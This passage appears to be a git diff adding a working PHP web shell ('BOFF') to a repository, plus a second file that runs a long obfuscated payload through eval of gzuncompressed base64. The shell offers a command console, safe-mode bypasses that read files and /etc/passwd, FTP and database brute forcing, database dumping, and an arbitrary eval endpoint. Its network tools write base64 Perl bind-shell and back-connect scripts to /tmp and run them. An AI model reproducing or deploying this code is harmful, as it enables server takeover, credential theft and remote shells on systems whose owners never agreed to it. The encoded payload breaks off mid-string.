    ','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
    ';} + $h[1] .= '
    '; + $h[2] .= "\n"; + } + } + echo '
    '.$h[0].'
    '.$h[1].'
    '.htmlspecialchars($h[2]).'
    '; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!
    '; + else + die(''); + } + echo '
    '; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(!touch($_POST['p1'],$time,$time)) + echo 'Fail!'; + else + echo 'Touched!'; + } else echo 'Bad time format!'; + } + clearstatcache(); + echo '
    '; + break; + } + echo '
    '; + BOFFFooter(); +} + +function actionSafeMode() { + $temp=''; + ob_start(); + switch($_POST['p1']) { + case 1: + $temp=@tempnam($test, 'cx'); + if(@copy("compress.zlib://".$_POST['p2'], $temp)){ + echo @file_get_contents($temp); + unlink($temp); + } else + echo 'Sorry... Can\'t open file'; + break; + case 2: + $files = glob($_POST['p2'].'*'); + if( is_array($files) ) + foreach ($files as $filename) + echo $filename."\n"; + break; + case 3: + $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__)); + curl_exec($ch); + break; + case 4: + ini_restore("safe_mode"); + ini_restore("open_basedir"); + include($_POST['p2']); + break; + case 5: + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + echo join(':',$uid)."\n"; + } + break; + } + $temp = ob_get_clean(); + BOFFHeader(); + echo '

    Safe mode bypass

    '; + echo 'Copy (read file)

    Glob (list dir)

    Curl (read file)

    Ini_restore (read file)

    Posix_getpwuid ("Read" /etc/passwd)
    From
    To
    '; + if($temp) + echo '
    '.htmlspecialchars($temp).'
    '; + echo '
    '; + BOFFFooter(); +} + +function actionConsole() { + if(!empty($_POST['p1']) && !empty($_POST['p2'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true; + $_POST['p1'] .= ' 2>&1'; + } elseif(!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false; + + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + echo "d.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".BOFFEx($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "c_='".$GLOBALS['cwd']."';"; + } + } + echo "d.cf.output.value+='".$temp."';"; + echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + BOFFHeader(); + echo ""; + echo '

    Console

    send using AJAX redirect stderr to stdout (2>&1)
    $
    '; + echo '
    '; + BOFFFooter(); +} + +function actionLogout() { + session_destroy(); + die('bye!'); +} + +function actionSelfRemove() { + + if($_POST['p1'] == 'yes') + if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) + die('Shell has been removed'); + else + echo 'unlink error!'; + if($_POST['p1'] != 'yes') + BOFFHeader(); + echo '

    Suicide

    Really want to remove the shell?
    Yes
    '; + BOFFFooter(); +} + +function actionBruteforce() { + BOFFHeader(); + if( isset($_POST['proto']) ) { + echo '

    Results

    Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
    '; + if( $_POST['proto'] == 'ftp' ) { + function bruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function bruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function bruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; + $res = @pg_connect($str); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
    '; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
    '; + } + } + } + echo "Attempts: $attempts Success: $success

    "; + } + echo '

    FTP bruteforce

    ' + .'' + .'' + .'' + .'' + .'' + .'' + .'
    Type
    ' + .'' + .'' + .'' + .'Server:port
    Brute type
    ' + .'' + .'' + .'
    Login
    Dictionary
    ' + .'
    '; + echo '

    '; + BOFFFooter(); +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->query("SHOW databases"); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error(); + break; + case 'pgsql': + return @pg_last_error(); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'pgsql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function loadFile($str) { + switch($this->type) { + case 'mysql': + return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); + break; + case 'pgsql': + $this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes($str)."';select file from BOFF2;"); + $r=array(); + while($i=$this->fetch()) + $r[] = $i['file']; + $this->query('drop table BOFF2'); + return array('file'=>implode("\n",$r)); + break; + } + return false; + } + function dump($table, $fp = false) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + $sql = $create[1].";\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + $this->query('SELECT * FROM `'.$table.'`'); + $head = true; + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + if($v == null) + $item[$k] = "NULL"; + elseif(is_numeric($v)) + $item[$k] = $v; + else + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + if($head) { + $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; + $head = false; + } else + $sql = "\n\t,(".implode(", ", $item).')'; + if($fp) fwrite($fp, $sql); else echo($sql); + } + if(!$head) + if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if(@$_POST['p2']=='download') { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + if(empty($_POST['file'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } elseif($fp = @fopen($_POST['file'], 'w')) { + foreach($_POST['tbl'] as $v) + $db->dump($v, $fp); + fclose($fp); + unset($_POST['p2']); + } else + die(''); + } + BOFFHeader(); + echo " +

    Sql browser

    +
    + + + + + + + + + +
    TypeHostLoginPasswordDatabase
    "; + $tmp = ""; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "'; + } + else echo $tmp; + }else + echo $tmp; + echo " count the number of rows
    + "; + if(isset($db) && $db->link){ + echo "
    "; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo ""; + } + echo "
    Tables:

    "; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + if(!empty($_POST['sql_count'])) + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo " ".$value."" . (empty($_POST['sql_count'])?' ':" ({$n['n']})") . "
    "; + } + echo "
    File path:
    "; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; + $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); + $num = $db->fetch(); + $pages = ceil($num['n'] / 30); + echo "".$_POST['p2']." ({$num['n']} records) Page # "; + echo " of $pages"; + if($_POST['p3'] > 1) + echo " < Prev"; + if($_POST['p3'] < $pages) + echo " Next >"; + $_POST['p3']--; + if($_POST['type']=='pgsql') + $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo "

    "; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { + $db->query(@$_POST['p2']); + if($db->res !== false) { + $title = false; + echo ''; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo ''; + foreach($item as $key => $value) + echo ''; + reset($item); + $title=true; + echo ''; + $line = 2; + } + echo ''; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo ''; + else + echo ''; + } + echo ''; + } + echo '
    '.$key.'
    null'.nl2br(htmlspecialchars($value)).'
    '; + } else { + echo '
    Error: '.htmlspecialchars($db->error()).'
    '; + } + } + echo "

    "; + echo "

    "; + if($_POST['type']=='mysql') { + $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); + if($db->fetch()) + echo "
    Load file
    "; + } + if(@$_POST['p1'] == 'loadfile') { + $file = $db->loadFile($_POST['p2']); + echo '
    '.htmlspecialchars($file['file']).'
    '; + } + } else { + echo htmlspecialchars($db->error()); + } + echo '
    '; + BOFFFooter(); +} +function actionNetwork() { + BOFFHeader(); + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + echo "

    Network tools

    +
    + Bind port to /bin/sh [perl]
    + Port: +
    +
    + Back-connect [perl]
    + Server: Port: +

    "; + if(isset($_POST['p1'])) { + function cf($f,$t) { + $w = @fopen($f,"w") or @function_exists('file_put_contents'); + if($w){ + @fwrite($w,@base64_decode($t)); + @fclose($w); + } + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = BOFFEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); + echo "
    $out\n".BOFFEx("ps aux | grep bp.pl")."
    "; + unlink("/tmp/bp.pl"); + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = BOFFEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); + echo "
    $out\n".BOFFEx("ps aux | grep bc.pl")."
    "; + unlink("/tmp/bc.pl"); + } + } + echo '
    '; + BOFFFooter(); +} +function actionRC() { + if(!@$_POST['p1']) { + $a = array( + "uname" => php_uname(), + "php_version" => phpversion(), + "BOFF_version" => BOFF_VERSION, + "safemode" => @ini_get('safe_mode') + ); + echo serialize($a); + } else { + eval($_POST['p1']); + } +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +exit; +?> \ No newline at end of file diff --git a/php/tiamo.php.txt b/php/tiamo.php.txt new file mode 100644 index 0000000..f8c81ef --- /dev/null +++ b/php/tiamo.php.txt @@ -0,0 +1,2 @@ +> */ +eval("?>".gzuncompress(base64_decode("eJzlvX1XGzcTOPo3PaffQWz9dO3GGNskbWowgRBISBNIeUnShPzctb22t6y97u4aQ1I+6++r3JnRy0r7Ykzy9LnnnktOwJZGo9FIGo1GoxFj8mfryXQ0Zd9/9/13rDR3u6zNSp3T/ZO3+ycfrRdnZ286L45Pz6xPm5jvTf4y8k/2fz/fPz3rnJ8cCohu0L8BEGt/eNM5nXp9N2QXk/PIDY+csdtiVm0Uj/1o6vY8x++NnDAql2KnNxj2P9qzCYDYnyqsZl1M3jhR9C4I+63vv1tUZjoHGCiDRV67UeQM3dbFxMKv+2tQ65Ub5lX6/Xdl1Qhba4TAJIs288qypKjF/3aOdl/vW7zoxeTwTQu4aSE3xo7nl635dMf3rtzaILSq1unI9X02iuNpa30d+Y08tarMIs5ZFSj2A3sH3cABuzesGwwG339XcmbxqDMFriB3EXupF/hBiN9+6A8eUUrfHTgzP+44vdgLJpBlH3i+G712JraePYvcjvOXcw0AcThz9SxqoRtj0XfepB/Mo7VG81EDi3//nTcor7rjaXyjMY9GyDl86+w+3z86AwZW2BdoOvyUoJ5wd+hOYqTZCUPnpmw9D4Kh72KDT/1ZOMUPr0+PngYxfvKcjhP2RsCsEL/+4Uz67jV+OnHGXR8SkT2IGiiZhu6wM3bi3qhsr9usxrzx1A/6btn+x67qdcN4Yva6h4nLUI0/I9eBgVsmsPVGrc4e1h+yoyBmB8Fs0rclFfjjXnux+Hr7/Xe3yKadCAYi8L8TxU4YlxF6x5t4HeBr2XbDMAg7fjC0q0fnr16ZmZDcIYDIrtbNrLFz3XGv3d4Me7YTezBTBAhk0/eO7429uJwkjp2h1+v8PQtiN+qEswkCiWzobm8CrHp6fHDQAY6cHh4fAYNsaCu1jvp6mMYxnPbKnFErg9mEjzHEEMWhN418Jxq5MDWpoznUSujGs3DCvKjDu19mPuHDAdBPORE6CuwpAddiebiBwBXg9Eqp8wZEE4ytLBGUg4DUIwa1r4KhNylzAvueW7a2YCgxx/eGk3YPBowbbm91t3dhugWh99nBclvrXUgLt/9vfTBgF+sX6xv/l5X+Wftno9FgwDLM2hoE4ZiNXSjVb0+DKN5GCYbSqcW2vMl0FrP4Zuq2pyKVobCjb9t6djTrQieyK8efuW17e9ve3lpHzPAHqNy2VJNwLnoRDg0c1afYgR/H/UfpmYmyG0Y3jG9oLZRhYv4qaVJh//zDykyiQraBVIUMFMQ//sjKHKmZ3oY1QMMA/7CzlyIkkTkrrh+5WE7rFDn0oDNjkG5zmITAEfhWfvPiTef4tFqvblSofmvuTSysthSgdLHhKwopgVMkTrxrLrlKkTNwO2MQD5BMk2qIk0ql0qBHliaAFT6p+XwN3WkQxt5kyOcPCkwvckAkdeTQigzEmVyqoDQKYJr25n2EBTj4VBYVm/zv2bzDdnqjvhcayST48zBQkwUj+ODWqwMWYiN8pwcD/uICZeo6/FIgNKdKi2EF2C1VR18/AqjvTsqUtdb4xFaBABDGFYmsRt837z9gUWbjEsUZQavJvUpBM8rdIPArpeevjp/uvjr9aKdXPxsVlpUs75B2kAYOSHG1bOEwtV55UcyeeaHbi4PwxmLtbWZB91hVTuCKdQArJvNwzaqhSuVNWG8WhiBSGIJJeLYesfU5W+8moCkUP/WCycAb/rQcFh06QXQ6CuYM9YArlwHAxOXjkJefuDGsTTFbcyapErBMTGCYM9R/vJ6bwDNazAT0ioUaHaDvwXoYa0C46qYw9oIxSDc31KCuPHeOUMDT3ZM37AynCs91wikQJfIO37A9atosJCnMQbwpby9bd3zfAsCKNu2z/QZ0iJ5T3PMjtuaPZC0+5g1ATWJODEtIF2iNGCwVDnvlTWbXwAmorw/rfOxCd/U5aHQTxe5YosOCbO3K4S0HnBE2PJi6E4BHwZFlO/uHDWGOsTWPIQGu6gf8saZhALyPkOfxTBSeRsyZXQuicZjwZFXnAEcOsIRFM49TKQpSxjpbw/WFDdja1IWFaq3+sF6vAx8iE0FSOHfgEUxtSVxEzHApYpr5xAy/hph8XHzQ1LxJj2bVApJwYU6B56H66U4cF5aAvLAWIFiqaYvxIaPnoRfjPGKDwAfdFQbLJJfxnEnN/N4qRrKQyoU4hSSpTecLBwK1UINNjYQ0kuW5VogTiYPNHSlkd5OmIE0kKQTLk1WAj4jqghLbGYFYgGXmbsJ06BRxWUT3ILAYLxE5AO1jhBvcsHc3jRpwisQMmntQmMKKgj7oObGbkow+JdKeu1/DKaTTm8mUywJPvxqBKh8VldJyzWIgwAcLatOzUwWjmy7InKJySa5ZbHxTVETkmOBOf+xNTDmYyTJL9AbDtNw0c1LgUGURvMjKFgB523figiI8M7dQcT1eAWlcshcXgsyiQoQwv0hxq7jmuZhQDSgPiVwtcoqa4PpASLrVpmQ7BZqSyQoW0tOg0d9+Liikp0HzZKqCl5npQkUyTxXUAdKFxzdAxsLSBkS6eIEoU4W1/FTRrtO7nOV1Ks8wgfuzcR4oJqelh3eVKzW8K2tFaLwpo8YLbrHiGz/Y0Ugzndg4cque2FWuZJLRppvZJ6lc3CYN/aDr+IzbHGnz3hsFzNpC4+j2FtrLtrfGbuyQIF1z/555V20btHfQbOO1M5DaNg5W/Na2Y9Cl17HgJhN1tC0Q7lmqasyyt7diL/bdbQ6Rs+lDKLZGTGAIpJu0WM3aWuflv/9uK4pv6AMaWr9gBw1DNOetUZtaP4DaWG8+3hTf3Ab+27zl4NW4X41HX1g3CIHNrcb0mgWzGA2lXdgmX24OoG0t9us0Zq9mPa/vVN+6Yd+ZOJtjJxx6k1Z988oNY6/n+GtkaGrFwTRVE5oPSfkCUTIIZFVrvjuIW4+gvijwQRtGU68sOBgMNgubgeiiqTOpjhpV5wvjmVScrXpj3JQ4k1hBfWHYgrW56w1H0JAuqX+UO2qYpPxikjJ1+n3YL7ZYE9KBTMGJxkNgheRBIY2SOVAMq+p7VzUxSL4whRgqFICKgByMGxsbhAOaisNrrQ+7Nr5rbE2CicvzWqMAuiELAXjc0PcEWG3sN4yeFs19+PChau4jRRR0LSId+MG8BRu0OOA4ut7QCV2gZu7141GrUa//Z3PEudt8JBtMdr8qUoOw1cj1YZf+hSnEC/v50aNHm1kisU9YMhpfB5MA+rfnVmEyzkIPNu1H7tym2tGsmFQmSPohDgI/Ouv6gkt8tHKzKG8ZARxOprJpbKMOhTnjHNDdYJpoJbHLcgfABhTbTAqFom9Ei5rJBBvCPn4zr/0u/kMM0F3ZbOgtymvm5MFggbxp6H6hUT9wxp5/0xIMqiqeIXlb61JqbEW90JvG23ybfuWErNdBGyPKnOz5lJKmvXmfG6YsezMp6hQX3ZFy0OFHYbZWIZeMS5RNBD5i0CqeNlTpMlpZp4FWatqwP1Wti4lVWW23B44fuZUntt3Ktk6H3z866/x+fny2f1rJVNZcVFnznpU176hsY1FlG/esbGNxZWgm7Qe92RgmxqZ+HIL2Tafaq04b1WmzOt2oip4Q5yGwMjur7cnM9yv92nhQc2rc0u9sogWLmWmdTVGkpxfpieyeVkSlqSLThl5m2hAA04ZWSktNyjWNck0J0dTLJalJuQ2j3IaE2NDLJalJ0zh7jAbyJNkk/k1vbF5+R54JqZ4YLuqHwm4iuqgafhJTrmQQO1+PmMapEzpjOp1AI3QbD0NsygR5XPba9U1vi+qHxQBHV1Tz3ckwHm16Dx6Q8rYiEDwADD/aDwzYj96nGm6NH9ht+4E76QV99/zkcC+A9X4C+eUMMPGQ0xaFZZo8sMIlp2j5R+Q4GaqiIVn+AKJZ6Kt89mWF9zUrz+lEufb+9asXoCWegJboRjFvVOj+DSyZuHNm5nL+01ER01DskmH7/XH3L1gx0xiMzLL92uuFQQQbbqoYFEfj/BaRQlHj+Bd/IK0WTGBZ7t+gFRbUXWcyxNMjYZsF+vYoaTOn3NSdlG2UJMAm4gX2ciUHEkaGaChX4FnZVJqrMEqmUx8UR2Tt+vXafD5fw4V7bYYHL9jB5nF0gnjSLyc9JLNu052Vbk05EVTElxpx4BQ5gCckD8VRH+ZTNWSgxpxmvS6K8mEeukPRHSfucP96Wr6wyhfw039QKX/ED6f4K/r0UwUPmOyxzTuaF3bCsA0IanjgLaiIYAhH7hloFhLQhcFbBsiPzU81cUhYr2LRjw3Y53CgW0Yjx/FB+y7bgtX8TG/VlkMX1ni5tIudDKr821ugjzJa/ds2LCYeqYpOFxStWexuanpdrvKxCRo+qHCkstY3bcSdPiHmR8Djgayk70VT37nhCiuV0A6GR16/7054EWdBXm9B3rSxKLO5KHNjUZVcxCEEP6u26DBxELruKepReFYJbbvEBFKsMuoRwcdB7PhGgQ4ldZYto317on1uNQg0BLnnRIR7Opp2yNmobId8FJQu3XDi+qnMSGS61zAFJ5cos4XjDqYEHmwiurBjGa/jEQ4abp70XT6UYKi0Sarzs2zURWw6TkLfBl5XhYEqwrguQptyWUutzdTkFqXYb5w8dHMRQ122p1qv/sxHuzxOz0ckW1gDJPloNjgaPKeV4qHjXkPLgHYc/9d4tO0OPRA4YqaTk404ie4Imy0er4ZCapfwMIlnj2/gs0weaslDLRnm0BT9mZ7QABJz94uOSdExnSO+hCzCbqJXmcNwaMAONVjRAsT/0eb+ZzrpPB1+yWRJI1ZiFuC18vShLECuGnQU3sEuoWWfxkVp6sQj+EYDCbqHn7DnDfFJmw5Zy1SCklBRKKGmwEreVmmy1sAPoB0IViWVwQCwthw2Ct1B2/7BZsGkB0vJZdsegjSWnmEgfi/In4xrIKW/CPFfW+2Sh3+l1mGiJWI+lv76VOPH+5lqL6yKvW3VBBxoGtb61rrDJYNkChcbyWGtfX52sPYY1zzD9Qy+/3Z8+HjtRH06x0+96eOffxYTNJgqc1XCYmiN6/RG5aQiJwJGxe6YzzejEDoqbAU0cYXzjWXXCLgGWpFdy5rS2m3KfmLzbTuswy3brtTsbVVua50j3OYOECulcdLUU7dXY4eTQWC3t/ELfaxydz1MUn57uHGfwJrjYqr8WLVP//apJPyp2m9GU/yCfyDHGbiMfFowH768xs+QHod4sE/bd8qi72f0tWo/DWFRA471qJj2rWofufE8CC8xXX5UgkKYGdW4VU5BytQ4/mi/Coawlycro/xMvQZZp64/AFVhDHt/no8JJ/w7h3Ens2yPjqkrL9E4WroS9SAg9SLMK1qcsQfL3iSulGGVXheTaFyBLvqPtf2RyYlh/WCpiWHBxLCh/65q9oVdxS1J9QI/qV8VC7v3EvvW2Wafttbjkerdfghap/LORPYkfAkibJ7hnaNaE5LeZfeA1Z8hD1tGqCpCD/OiDjkBUWLNbl0AGWJOiiqp2UXNUfMcWwDESzTr1JqPLEnC9kCrbKnRk4kX+Eknwj3YE0RtNE2ynuv7whDW3qBvuELjt7rgPKpF21txCP/7Mml7Cw2N2+coM1voMYcuJPQBxi39fdHv09+9eb+FS1QR/57YCPWM2t6iWYerGmhxiB+6pL9tK40XMyBhaxJAEW3d05b5SpWB3tho1glNMi4QOllL0bIQOyGsH+1O13cml9sfTSWAmLe1ThVticpoFUGkZca/4mqD3yuMc+M5LictQTqHGZpF+IJDZSRWpP3KDdHFtCxopvJq5hsINS4m7m6fgIdo++J2YdC1+9vHR6i9TeJt4Kie90O93u3W6+gTeXxwQJ6QAq6ic1nx7Qdz+EHnpqYSjiEx9qAhNKL4wOOteAZbDfRUNRrRh8Sy/cfaeK3PXrS8ViT6XHAEbf5vPXd+6n0GTSdR/XTuHID2aeA0CyltlZcp28A5FB5My1rXUP/UqPMB8x/VL/oSiFoWr+KNG46jPWRlnlWwkG/mtEXsqrD02aOzD0M8SRn1kSEMZ6uiTgoLnCo5c0TOU+EJG6KtWsybLb7EIYG0SUQKqUfzfsUjLxJ2BWsbl1Q+gn2n6/pt640Dm2ixhlqcLnMdZnzZpEIw0njN1AgxyMkxnx2+kX2pZkXGK3/32bMT65McJ7z4nu+hY0G2uG7reH18tk+lOYflpEauwS/6hDIxzUKSk3wvZ4kjE9wENhPrPJ5SWPeRn0QZX9qo25K6td2pJWz4jyxai7IezwdBEKvDwRKsJ8rPp820b5nx+cRiuiSwf2g+GgzqdXu7/A6KuFimIoSB1TJhUaKU0WNeIleAwhrBzw9xywgNwa1jZpnx+m15GLEky5jcSRdzX+R0gzgOxulM3HOvINtxdaVlg7bsoHSRLRD15mSIC5srKM+g62